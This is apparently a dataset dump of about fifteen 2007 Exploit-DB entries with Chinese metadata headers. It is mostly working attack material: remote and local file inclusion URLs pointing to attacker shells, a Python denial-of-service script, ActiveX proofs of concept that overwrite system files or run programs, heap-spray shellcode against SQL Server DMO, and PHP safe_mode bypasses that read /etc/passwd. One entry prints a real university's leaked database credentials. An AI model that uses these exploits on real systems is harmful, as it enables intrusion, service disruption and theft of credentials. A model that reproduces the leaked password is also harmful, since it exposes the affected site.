QLWD/code_shield huggingface dataset:
标题: phpFFL 1.24 - 'PHPFFL_FILE_ROOT' Remote File Inclusion EDB-ID: 4406 CVE: 2007-4934 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-14 漏洞利用脚本: *******************************************************************************
# Title    :  phpFFL 1.24  Remote File Inclusion Vulnerability
*******************************************************************************
# Title    :  phpFFL 1.24  Remote File Inclusion Vulnerability
# Author   :  Dj7xpl
# Contact  :  Dj7xpl@r00t.ir
# Dawnload :  http://sourceforge.net/project/showfiles.php?group_id=137531
# Gr33tZ   :  Y! Underground Group , Ir_R57 , Mehrdad AliZade
*******************************************************************************
Vuln Code:
            require($PHPFFL_FILE_ROOT."program_files/livedraft/sajax.php");
            require($PHPFFL_FILE_ROOT."program_files/livedraft/sajax.php");
 

[[Remote]]]

http://[target]/[path]/phpffl/phpffl_webfiles/program_files/livedraft/livedraft.php?PHPFFL_FILE_ROOT=[ Evil Code ]
http://[target]/[path]/phpffl/phpffl_webfiles/program_files/livedraft/admin.php?PHPFFL_FILE_ROOT=[ Evil Code ]

"""""""""""""""""""""

# milw0rm.com [2007-09-14] URL: https://www.exploit-db.com/exploits/4406
标题: JetCast Server 2.0.0.4308 - Remote Denial of Service EDB-ID: 4403 CVE: 2007-4911 类型: DOS 平台: WINDOWS 发布日期: 2007-09-13 漏洞利用脚本: #!/usr/bin/python
"""     ____
__   __/ ___|___  _ __ ___
\ \ / / |   / _ \| '__/ _ \
 \ V /| |__| (_) | | |  __/
 \_/  \____\___/|_|  \___|     _
 _ __  _ __ ___  ___  ___ _ __ | |_ ___   _
| '_ \| '__/ _ \/ __|/ _ \ '_ \| __/ __| |_|
| |_) | | |  __/\__ \  __/ | | | |_\__ \  _
| .__/|_|  \___||___/\___|_| |_|\__|___/ |_|
|_|        _
      _  //
      \\//
GENRE: //\\PLOIT
     //  `
PROGRAM: JetCast Server 2.0.0.4308
EXPLOiT TYPE: 0day remote DoS exploit
EXPLOiT LANGUAGE: Python
DEBUG iNFO: [Module JSMP3OGG]
           EAX 100355B8 JSMP3OGG.100355B8
           ECX 00000007
           EDX 00002000
           EBX 00CB415A
           ESP 00DCDEC0
           EBP 00DCDECC
           ESI 00000000
           EDI 1002FA64 ASCII "Mozilla"
           EIP 1002737C JSMP3OGG.1002737C

           MOV AH,BYTE PTR DS:[ESI]; C0000005 (ACCESS VIOLATION)

Bug found / exploit written by vCore <share0005@o2.pl>
Tested on JetCast Server 2.0.0.4308 - Windows XP ServicePack2
 ____          _
 / ___|_     __| | ___   _
| |   / _ \ / _` |/ _ \ |_|
| |__| (_) | (_| |  __/  _
 \____\___/ \__,_|\___| |_|

"""
from time import sleep
from socket import *

target = '127.0.0.1'
port = 8000
buf = "A" * 4032

header = (
   'GET /%s.mp3 HTTP/1.0\r\n'
   'Host: %s\r\n'
   'User-Agent: WinampMPEG/5.19\r\n'
   'Accept: */*\r\n'
   'Icy-MetaData:1\r\n'
   'Connection: close\r\n') % (buf, target)

s = socket(AF_INET, SOCK_STREAM)
s.connect((target, port))
s.send(header)
sleep(2)
s.close()

print "DONE"

# milw0rm.com [2007-09-13] URL: https://www.exploit-db.com/exploits/4403
标题: NuclearBB Alpha 2 - 'ROOT_PATH' Remote File Inclusion EDB-ID: 4395 CVE: 2007-4906 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-11 漏洞利用脚本: Vuln Product: NuclearBB Alpha 2
Vendor: http://www.nuclearbb.com/
Vulnerability Type: Remote File Inclusion
Autor: Infection
Team: Rootshell Security Team
Vulnerable file: /NuclearBB/tasks/send_queued_emails.php
Exploit URL: http://localhost/NuclearBB/tasks/send_queued_emails.php?root_path=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: root_path
Line number: 14
Lines:
----------------------------------------------
require("$root_path/inc/functions_email.php");
$mail = new email;
----------------------------------------------

# milw0rm.com [2007-09-11] URL: https://www.exploit-db.com/exploits/4395
标题: Microsoft Visual Studio 6.0 - 'VBTOVSI.dll 1.0.0.0' File Overwrite EDB-ID: 4394 CVE: 2007-4890 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-11 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">---------------------------------------------------------------------------------------------------------
 <b>Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite</b>
 url: http://www.microsoft.com

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Description:
 Using the "Load()" method we can load the content of a file from local machine passed as argument to
 this function and then save it into arbitrary location with the "SaveAs()" method.
 This allow to overwrite well known files with arbitrary data. I try to pass to the "Load()" method
 remote directories (http) but, unfortunately, it accepts only local directories.</b>
---------------------------------------------------------------------------------------------------------

<object classid='clsid:7EEA39E3-41D1-11D2-AB3B-00AA00BDD685' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  test.Load "c:\windows\system32\cmd.exe" 'or just some existing file
  test.SaveAs "c:\windows\system_.ini"
  MsgBox "Exploit completed!"
 End Sub
</script>
</span></span>

</code></pre>

# milw0rm.com [2007-09-11] URL: https://www.exploit-db.com/exploits/4394
标题: Microsoft SQL Server - Distributed Management Objects Buffer Overflow EDB-ID: 4398 CVE: 2007-4814 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-12 漏洞利用脚本: <!--

+ title: Microsoft SQL Server Distributed Management Objects Buffer Overflow
+ Critical: Critical (remote)
+ Impact: MS Internet Explorer 6 -> Code Execute
+ Tested Operating System: Windows XP SP2 KR, Windows 2000 Pro SP4 KR
+ Tested Software: MSDE 2000 SQLDMO.dll (version 2000.80.760.0)
+ Reference & Thanks : 
     code by rgod http://www.milw0rm.com/exploits/4379
     code by Trirat Puttaraksa http://www.milw0rm.com/exploits/2426
+ Author: 96sysim (sysim@nate.com)

-->

<html>
<object classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5' id='SQLServer' /></object>

<SCRIPT language="javascript">
// Heap Spray 
// execute "calc.exe"
shellcode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<501;i++) memory[i] = block + shellcode;
</SCRIPT>


<script language='vbscript'>
targetFile = "C:\Programmi\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"
prototype  = "Sub Start ( ByVal StartMode As Boolean ,  [ ByVal Server As Variant ] ,  [ ByVal Login As Variant ] ,  [ ByVal Password As Variant ] )"
memberName = "Start"
progid     = "SQLDMO.SQLServer"
argCount   = 4

myseh        = unescape("%u0D0D%u0D0D")   // heap spray range - possible change
StartMode =True
Server    ="http://ZZZZ\YYYY\XXXX\WW?W\VVVV\AAAA\AAA\AAAAA\AAAA\AA@AA\tes\test\test\tes.\ttest\MMMM\LLLL\KKK\JJJJ\IIII\HH.H\GGGGG\FFFF\EEEE\DDD\DDDD\BBBB\AAA\A\\\\\\\\\:#$%AAAA\BBBB\CCCC\DD?D\EEEE\FFFF\GGG\\:#$%\HHHHH\IIII\te@st\tes\test\test\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaaaa" + myseh + "Dmmm" + edx + "nnnBBBB\AAAA\ZZZ\Z\\\\\\\\\:#$%YYYY\XXXX\WWWW\VV?V\UUUU\TTTT\SSS\\:#$%\RRRRR\QQQQ\PP@PP\OOO\NNNN\MMMM\LLL.\KKKKK\JJJJ\IIII\HHH\GGGG\FFFF\EE.E\DDDDD\DDDD\BBBB\AAA\AAAA\AAAA\AAA\A\\\\\\\\\:#$%AAAA\AAAA\AAAA\AA?A\wwww\vvvv\uuu\\:#$%\ttttt\ssss\rr@rr\qqq\pppp\oooo\nnn.\mmmmm\llll\kkkk\jjj\iiii\hhhh\gg.g\fffff\eeee\dddd\ccc\bbbb\aaaa\AAA\A\\\\\\\"
Login     ="aaaaaaaa"
Password  ="bbbbbbbb"

SQLServer.Start StartMode ,Server ,Login ,Password
</script>
</html>

# milw0rm.com [2007-09-12] URL: https://www.exploit-db.com/exploits/4398
标题: PHP 4.4.7/5.2.3 - MySQL/MySQLi 'Safe_Mode' Bypass EDB-ID: 4392 CVE: 2007-3997 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-09-10 漏洞利用脚本: Affected Products:
<= PHP 5.2.3
<= PHP 4.4.7

Authors:
Mattias Bengtsson <mattias@secweb.se>
Philip Olausson <po@secweb.se>

Reported:
2007-06-05

Released:
2007-08-30

CVE:
CVE-2007-3997

Issue:

A vulnerability exists in PHP's MySQL and MySQLi extenstions which can be used to bypass PHP's safe_mode security restriction.

Description:

PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.

Details:

By using MySQLs LOCAL INFILE we could bypass PHP's safe_mode security restriction. An important thing here is that we can't rely on the shared hosts MySQLds local-infile=0 option. This because of it being a server option, so it will not have any effect on the client. To disable this option for MySQL we need to compile libmysqlclient with --disable-local-infile, or remove the CLIENT_LOCAL_FILES flag while connecting. PHP does this when open_basedir are in effect but lacks a check for safe_mode.

For MySQLi compiling with --disable-local-infile won't help because we could just reenable it with mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1);

Proof Of Concepts:

MySQL: 

<?php

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
    print $row . chr(10);

?>

MySQLi:

<?php

function r($fp, &$buf, $len, &$err) {
      print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

?>

Impact:

This issue could have major impact on shared hosting systems.

Solution:

Upgrade PHP to 5.2.4 or 4.4.8

# milw0rm.com [2007-09-10] URL: https://www.exploit-db.com/exploits/4392
标题: Ultra Crypto Component - 'CryptoX.dll 2.0 SaveToFile()' Insecure Method EDB-ID: 4388 CVE: 2007-4902 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-10 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-------------------------------------------------------------------------------------
 <b>Ultra Crypto Component (CryptoX.dll <= 2.0) "SaveToFile()" Inscure Method</b>
 url: http://www.ultrashareware.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>We can use the "HexString()" method to save into our batch file some lines.
 In this PoC, I convert "cmd.exe /c notepad.exe" in hexadecimal format, then
 I save it in a batch file :)</b>
-------------------------------------------------------------------------------------

<object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim MyMsg  
   test.HexString = "636D642E657865202F63206E6F74657061642E657865" 'cmd.exe /c notepad.exe
   test.SaveToFile "c:\shinnai.bat"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>
</span></span>

</code></pre>

# milw0rm.com [2007-09-10] URL: https://www.exploit-db.com/exploits/4388
标题: Microsoft Visual Studio 6.0 - 'PDWizard.ocx' Remote Command Execution EDB-ID: 4393 CVE: 2007-4891 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-11 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">------------------------------------------------------------------------------------------------------
 <b>Microsoft Visual Studio 6.0 PDWizard (PDWizard.ocx <= 6.0.0.9782) Remote Arbitrary Command Execution</b>
 url: http://www.microsoft.com

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b><font color='red'>greetz to: Wiz001 (be safe brotha... and see soon :D)</font></b>

 <b>Description:
 This ocx contains a lot of extreme dangerous methods. Theese two are very interesting, they are:
 "StartProcess()" and "SyncShell()"
 Using one of them, you'll be able to run every program you like, simply giving to the method the 
 right argument.
 In this PoC, I use the "StartProcess()" method to execute the calc.exe, but you can do everything
 you like.
 Anyway, I think you could imagine what impact could have this kind of vulnerability :D

 Other dangerous methods of this ocx are:
 "SaveAs()"
 "CABDefaultURL()"
 "CABFileName()"
 "CABRunFile()"</b>
------------------------------------------------------------------------------------------------------

<object classid='clsid:0DDF3C0B-E692-11D1-AB06-00AA00BDD685' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  test.StartProcess "c:\windows\system32\calc.exe", "False" 'you can change with your favourite application ;)
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-11] URL: https://www.exploit-db.com/exploits/4393
标题: WebED 0.8999a - Multiple Remote File Inclusions EDB-ID: 4384 CVE: 2007-4815 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-08 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------
Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 
---------------------------------------------------------------
 Multiple Remote File Inclusion Vulnerability
---------------------------------------------------------------
# Author: MhZ91 nobody.91@hotmail.it
# Download Script: http://sourceforge.net/projects/ed-engine/ WebED-0.8999.tar.gz
# Exploit:
# http://[target]/[path]/source/mod/rss/channeledit.php?Codebase=[Shell]
# http://[target]/[path]/source/mod/rss/post.php?Codebase=[Shell]
# http://[target]/[path]/source/mod/rss/view.php?Codebase=[Shell]
# http://[target]/[path]/source/mod/rss/viewitem.php?Codebase=[Shell]
---------------------------------------------------------------

# milw0rm.com [2007-09-08] URL: https://www.exploit-db.com/exploits/4384
标题: Txx CMS 0.2 - Multiple Remote File Inclusions EDB-ID: 4381 CVE: 2007-4819 2007-4818 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-08 漏洞利用脚本: :::::::::::::::::::::::::::::::::::::::::::::::::::.......................
::| \ | (_)          | \ | |                       / ____|                  
::|  \| |_  ___ ___  |  \| | __ _ _ __ ___   ___  | |     _ __ _____      __
::| . ` | |/ __/ _ \ | . ` |/ _` | '_ ` _ \ / _ \ | |    | '__/ _ \ \ /\ / /
::| |\  | | (_|  __/ | |\  | (_| | | | | | |  __/ | |____| | |  __/\ V  V / 
::|_| \_|_|\___\___| |_| \_|\__,_|_| |_| |_|\___|  \_____|_|  \___| \_/\_/
:::::::::::::::::::::::::::::We got the nicest name in the security scene!
::::::::Info::.
::Script: Txx CMS
::Homepage:https://sourceforge.net/projects/txx/
::
:::::::::Details::.
::Type: File_Inclusion
::Dork: "txx cms"
::
::in modules/addons/plugin.php
::and modules/addons/sidebar.php
::and modules/mail/index.php
::and modules/mail/mailbox.php
::
::$doc_root is not defined
::
::http://site.com/modules/addons/plugin.php?doc_root=[vuln]
:: 
::
:: we also found countless xss in there
:: but we wont list em because we got more important 
:: stuff to do  
::::::::::::::::::::::::::::::::.
:::::::::::Additional_Information::.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.
::Contact: nne@chilloutzone.eu
::Website: http://nnc.unkn0wn.eu or http://www.chilloutzone.eu
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.

# milw0rm.com [2007-09-08] URL: https://www.exploit-db.com/exploits/4381
标题: Joomla! Component Restaurante - Arbitrary File Upload EDB-ID: 4383 CVE: 2007-4817 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-08 漏洞利用脚本: Joomla Component Restaurante <= Remote File Upload Vulnerability

found by  : Cold z3ro

Homepage : www.hackteach.org , www.xp10.com

================================================================

@################################################################@
# joomla/index.php?option=com_restaurante&task=upload
#
# /joomla/components/com_restaurante/img_original/.shell.php.jpg
#
# Dork : /index.php?option=com_restaurante
@################################################################@


Attacker can upload any file using this link

joomla/index.php?option=com_restaurante&task=upload

after upload the file , He can find it in :

/components/com_restaurante/img_original

But the attacker should add ( Point ) befor filename

Example :

if attacker uploaded file named shell.php.jpg

its name will by like this .shell.php.jpg

in path :

/components/com_restaurante/img_original/.shell.php.jpg

# milw0rm.com [2007-09-08] URL: https://www.exploit-db.com/exploits/4383
标题: Sisfo Kampus 2006 - 'blanko.preview.php' Local File Disclosure EDB-ID: 4380 CVE: 2007-4820 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-08 漏洞利用脚本: *****************************************QTRinux**************************************
|                       Sisfo Kampus 2006 (blanko.preview.php) Local File Inclusion Vulnerability
|                                                        Discovered by QTRinux|                                                                                                           www.root-qtr.com|                                                          Qatar Security t34m
| Vendor: http://www.sisfokampus.net/
 
| DorK : Powered by Sisfo Kampus 2006
 
| Exploit: http://[h0sT]/[dir]/blanko.preview.php?nmf=/etc/passwd
 
| Greetings: ( AlQaTaR! . MR.SH4R3S . Mo0oTeC  . MaZaG! ) ;
 
 
               *************************************************************************************

# milw0rm.com [2007-09-08] URL: https://www.exploit-db.com/exploits/4380
标题: PHPress 0.2.0 - 'adisplay.php?lang' Local File Inclusion EDB-ID: 4382 CVE: 2007-4524 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-08 漏洞利用脚本: :::::::::::::::::::::::::::::::::::::::::::::::::::.......................
::| \ | (_)          | \ | |                       / ____|                  
::|  \| |_  ___ ___  |  \| | __ _ _ __ ___   ___  | |     _ __ _____      __
::| . ` | |/ __/ _ \ | . ` |/ _` | '_ ` _ \ / _ \ | |    | '__/ _ \ \ /\ / /
::| |\  | | (_|  __/ | |\  | (_| | | | | | |  __/ | |____| | |  __/\ V  V / 
::|_| \_|_|\___\___| |_| \_|\__,_|_| |_| |_|\___|  \_____|_|  \___| \_/\_/
:::::::::::::::::::::::::::::We got the nicest name in the security scene!
::::::::Info::.
::Script: phpress 
::Version: 0.2.0 
::Homepage:http://sourceforge.net/projects/phpress/
::
:::::::::Details::.
::Type: Local_File_Inclusion
::Dork: allinurl:/phpress/
::Exploit: http://host/phpress/adisplay.php?lang=shell
::Exploit: http://host/phpress/adisplay.php?lang=../../etc/passwd
::
::Variable lang is not defined
::
::::::::::::::::::::::::::::::::.
:::::::::::Additional_Information::.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.
::Contact: naxx@chilloutzone.eu
::Website: none yet
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.

# milw0rm.com [2007-09-08] URL: https://www.exploit-db.com/exploits/4382
标题: phpRealty 0.02 - 'MGR' Multiple Remote File Inclusions EDB-ID: 4387 CVE: 2007-4834 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-10 漏洞利用脚本: |-------------------------------------------------------------------------------|
| |
| phpRealty 0.02  (MGR) Remote File include |
| |
| Script : phpRealty |
| Version : 0.02 |
| Authord : QTRinux |
| Contact : Qataro [at] hotmail [dot] com |
| Vendor : http://phprealty.budissy.com/phprealty/v0.02/ |
| DorK :   :(
|-------------------------------------------------------------------------------|
| Bug in : |
| manager/admin/index.php |
| manager/admin/p_ins.php  |
| manager/admin/u_ins.php  |
|-------------------------------------------------------------------------------|
| EXPLOIT : |
| |
| http://localhost/[ Path ]/manager/admin/index.php?MGR=[evilscript] |
| http://localhost/[ Path ]/manager/admin/p_ins.php?MGR=[evilscript] |
| http://localhost/[ Path ]/manager/admin/u_ins.php?MGR=[evilscript] |
|-------------------------------------------------------------------------------|
| Greetz : AlQaTaR!,MR.SH4R3S,Mo0oTeC,MaZaGi, |
| |
---------------------[ [Qatar Security Team] ]-------------------------

# milw0rm.com [2007-09-10] URL: https://www.exploit-db.com/exploits/4387
标题: Sisfo Kampus 2006 - 'dwoprn.php?f' Arbitrary File Download EDB-ID: 4386 CVE: 2007-4895 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-10 漏洞利用脚本: original File name : PUPET-SisfoKampus2006.txt

date releases      : September 10, 2007

 

Information :

=========================

Advisory Name: Sisfo Kampus 2006 Local File Downloaded Vulnerability

Author: k-one A.K.A PUPET

Website vendor : http://sisfokampus.net/

Problem : All Local File can downloaded


POC :

=========================

 

http://[h0sT]/[dir]/dwoprn.php?f=connectdb.php

 

 

[pupet@vps ~]$ wget http://***.*****-subang.ac.id/dwoprn.php?f=connectdb.php

--07:30:16--  http://***.*****-subang.ac.id/dwoprn.php?f=connectdb.php

           => `dwoprn.php?f=connectdb.php'

Resolving ***.*****-subang.ac.id... 203.130.***.**

Connecting to siak.universitas-subang.ac.id[203.130.***.**]:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 292 [application/dwoprn]

 

100%[====================================================================================================================================================================>] 292           --.--K/s

 

07:30:22 (2.78 MB/s) - `dwoprn.php?f=connectdb.php' saved [292/292]

 

[pupet@vps ~]$ cat dwoprn.php?f=connectdb.php

<?php

  // file: connectdb.php

  // author: E. Setio Dewo, Maret 2003

 

  $db_username = "t26924_siak";

  $db_hostname = "localhost";

  $db_password = "siakang";

  $db_name = "t26924_siak";

 

  $con = _connect($db_hostname, $db_username, $db_password);

  $db  = _select_db($db_name, $con);

 

?>

Vendor Response:

==============

Not contacted yet

 

Patch :

=============

No Patch Available

This bugs Discover by : k-one A.K.A PUPET (Join our community at irc.indoirc.net #safana)

# milw0rm.com [2007-09-10] URL: https://www.exploit-db.com/exploits/4386